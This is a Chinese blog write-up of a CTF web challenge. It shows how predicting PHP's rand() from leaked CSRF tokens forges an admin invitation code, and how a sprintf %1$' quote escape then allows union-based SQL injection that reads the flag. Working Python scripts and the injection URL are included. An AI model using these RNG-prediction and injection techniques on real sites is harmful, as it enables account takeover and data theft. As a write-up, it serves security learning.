我的博客

题目 :

提示:www.tar.gz http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d

解答 :

题目又给了源码,美滋滋。 然而下载到源码后就不美滋滋了。

一共给了三个页面,主页很明显,有一个SQL注入漏洞。这个题之前安恒杯三月见过。利用率printf函数的一个小漏洞,%1$’可以造成单引号逃逸。

然而,你是进不去主页的。因为。。

还没进去,就被die了。

然后只好分析如何能成为admin了。此时看到了。

当你是通过邀请码注册的,你便可以成为admin。

然而,邀请码是完全随机的。

此时,想起LCTF的一道题,感觉完全一样有木有!

https://github.com/LCTF/LCTF2017/tree/mast...

然而当时有两个解,一个非预期条件竞争,另一个正则的漏洞。

此时这题完全没用啊!当时要疯了,猜测,难道是要预测随机数?

然而,当我看到大佬这句话的时候,萌生了放弃的想法,猜测肯定还有其他解法。

奈何,看啊看,看啊看,我瞪电脑,电脑瞪我。

最后还是决定看一下随机数这里。很开心,找到了这篇文章。

http://drops.xmd5.com/static/drops/web-118...

然而,每个卵用,他只告诉了我:对!毛病就在随机数,但是你会么?

满满的都是嘲讽….

来吧,一起看,首先这篇文章讲了一种后门的隐藏方式,话说我读了好几遍才理解。

然后不得不感叹,作者….你还是人么。这都能想出来。服!真的服!

首先,大家需要先知道rand()是不安全的随机数。(然而我不知道)

然后str_shuffle()是调用rand()实现的随机。所以此时重点是。如何预测rand?

然而作者没告诉,给的链接都是数学,看不懂…..

此时PHITHON大佬的这篇文章真的是解救了自己。

https://www.leavesongs.com/penetration/saf...

所以,此时我们知道了一件事情。当我们可以获取到连续的33个随机数后,我们就可以预测后面连续的所有随机数。

如何连续?大佬文章中说了,通过http请求头中的Connection:Keep-Alive。

此时,我们先获取他100个随机数。

s = requests.Session()
url='http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
headers={'Connection': 'Keep-Alive'}
state=[]
for i in range(50):
        r=s.get(url,headers=headers)
        state.append(int(re.search(r'id="csrf" value="(.+?)" required>', r.text, re.M|re.I).group(1)))

然后测试一下

yuce_list=[]
for i in range(10):
    yuceTemp=yuce(len(state))
    state.append(yuceTemp)
    yuce_list.append(yuceTemp)

此时发现和实际是有一些冲突的。分析后发现,应该将生成的随机数取余2147483647才是真正的数。

但此时又有了一个问题。


之前大佬是说过会有一定的误差,但是误差率太高了。虽然误差不大,但是….

此时,没办法,只能祈求后面会处理误差。此时我们完成了随机数的预测。

接下来需要写如何打乱字符串。

可以发现,一个很简单的流程,生成随机数,然后交换位置。

唯一不知道的地方就是其中这个地方的一个函数。

此时直接去GitHub翻一下源码。

https://github.com/jinjiajin/php-5.6.9/blo...

然后就是愉快的重写代码。

def rand_range(rand,minN,maxN,tmax=2147483647):
    temp1=tmax+1.0
    temp2=rand/temp1
    temp3=maxN-minN
    temp4=temp3+1.0
    temp5=temp4*temp2
    rand=minN+(int)(temp5)
    return rand
admin_old=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in range(len(admin_old))[::-1]:
    a=rand_range(int(yuce_list[len(admin_old)-i-1]),0,i)
    admin_old[i],admin_old[a]=admin_old[a],admin_old[i]
key=''
for i in admin_old:
    key+=i
print(key)

此时就可以愉快的生成随机数了。然后在进行一下注册。此时csrf记得提前在获取state时保存一下最后一位。

def getAdmin(username,passwd,code):
    data={
        "csrf":csrf,
        "username":username,
        "password":passwd,
        "code":code
    }
    r=s.post(url,headers=headers,data=data)
    print(r.text)

切记!code是:admin###开头,后面截取32位!

最后用拿到的账号进行登录即可。

后面就是sql注入了。很简单,只要单引号逃逸后,就可以显注了。没有其他过滤

/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=-1%1$'+union+select+1,f14g,3+from+a8e79480.key+where+1+%23

我的博客

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~